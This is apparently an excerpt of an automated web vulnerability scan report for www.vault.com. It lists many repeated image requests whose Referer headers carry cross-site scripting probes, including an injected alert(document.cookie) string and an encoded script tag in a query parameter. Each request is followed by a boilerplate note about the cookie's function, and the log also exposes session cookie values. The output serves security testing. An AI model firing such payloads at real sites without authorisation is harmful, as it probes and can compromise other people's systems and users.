GET /images/icons/cart-green.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.3.8.1295451341966
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/icons/checkbox.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1fa29d%22%3E%3Cscript%3Ealert(1)%3C/script%3E5276a27416&rankings=1®ionId=0/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.5.8.1295451341966; _chartbeat2=1wcinl964s8aejot; JSESSIONID=0000PKS73Wmf_IK-VDDZBly2VV1:140i3s34m; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/icons/email-y.png HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1fa29d%22%3E%3Cscript%3Ealert(1)%3C/script%3E5276a27416&rankings=1®ionId=0/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; _chartbeat2=1wcinl964s8aejot; JSESSIONID=0000PKS73Wmf_IK-VDDZBly2VV1:140i3s34m; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.6.8.1295451341966; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/icons/email.png HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1fa29d%22%3E%3Cscript%3Ealert(1)%3C/script%3E5276a27416&rankings=1®ionId=0/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.5.8.1295451341966; _chartbeat2=1wcinl964s8aejot; JSESSIONID=0000PKS73Wmf_IK-VDDZBly2VV1:140i3s34m; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/icons/featured_company_left_arrow_inactive.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.3.8.1295451341966
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/icons/featured_company_right_arrow_active.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.3.8.1295451341966
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/icons/gold-lock2.jpg HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1fa29d%22%3E%3Cscript%3Ealert(1)%3C/script%3E5276a27416&rankings=1®ionId=0/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.5.8.1295451341966; _chartbeat2=1wcinl964s8aejot; JSESSIONID=0000PKS73Wmf_IK-VDDZBly2VV1:140i3s34m; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/icons/join-books.png HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/icons/print-y.png HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1fa29d%22%3E%3Cscript%3Ealert(1)%3C/script%3E5276a27416&rankings=1®ionId=0/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; _chartbeat2=1wcinl964s8aejot; JSESSIONID=0000PKS73Wmf_IK-VDDZBly2VV1:140i3s34m; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.6.8.1295451341966; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/icons/print.png HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1fa29d%22%3E%3Cscript%3Ealert(1)%3C/script%3E5276a27416&rankings=1®ionId=0/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.5.8.1295451341966; _chartbeat2=1wcinl964s8aejot; JSESSIONID=0000PKS73Wmf_IK-VDDZBly2VV1:140i3s34m; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/icons/share-y.png HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1fa29d%22%3E%3Cscript%3Ealert(1)%3C/script%3E5276a27416&rankings=1®ionId=0/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; _chartbeat2=1wcinl964s8aejot; JSESSIONID=0000PKS73Wmf_IK-VDDZBly2VV1:140i3s34m; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.6.8.1295451341966; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/icons/share.png HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1fa29d%22%3E%3Cscript%3Ealert(1)%3C/script%3E5276a27416&rankings=1®ionId=0/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.5.8.1295451341966; _chartbeat2=1wcinl964s8aejot; JSESSIONID=0000PKS73Wmf_IK-VDDZBly2VV1:140i3s34m; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/overlay.png HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; JSESSIONID=00000-dJvfxGNM9UrnCQsyBDC18:140gkm3u6; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.4.8.1295451341966; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660; _chartbeat2=1wcinl964s8aejot
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/rankings_tab.jpg HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1fa29d%22%3E%3Cscript%3Ealert(1)%3C/script%3E5276a27416&rankings=1®ionId=0/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.5.8.1295451341966; _chartbeat2=1wcinl964s8aejot; JSESSIONID=0000PKS73Wmf_IK-VDDZBly2VV1:140i3s34m; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/search/select-bg.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.3.8.1295451341966
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sections_background.jpg HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1fa29d%22%3E%3Cscript%3Ealert(1)%3C/script%3E5276a27416&rankings=1®ionId=0/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=199986601.1295451341.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/7; _chartbeat2=1wcinl964s8aejot; JSESSIONID=0000PKS73Wmf_IK-VDDZBly2VV1:140i3s34m; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660; __utma=199986601.140982030.1295451341.1295451341.1295451341.1; __utmc=199986601; __utmb=199986601.6.8.1295451341966
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/spacer.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/schools/sponsor_1088.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/schools/sponsor_1398.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/schools/sponsor_1727.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/schools/sponsor_2105.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/schools/sponsor_2282.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/schools/sponsor_2492.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/schools/sponsor_251.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/schools/sponsor_2983.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/schools/sponsor_3276.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/schools/sponsor_3672.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/schools/sponsor_507.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/schools/sponsor_517.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /images/sponsors/schools/sponsor_790.gif HTTP/1.1 Host: www.vault.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=0000D17FxsLaClL9SFBlj1f2sjv:140gkm3u6; NSC_xxx.wbvmu.dpn=ffffffffd2d89a6f45525d5f4f58455e445a4a423660
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
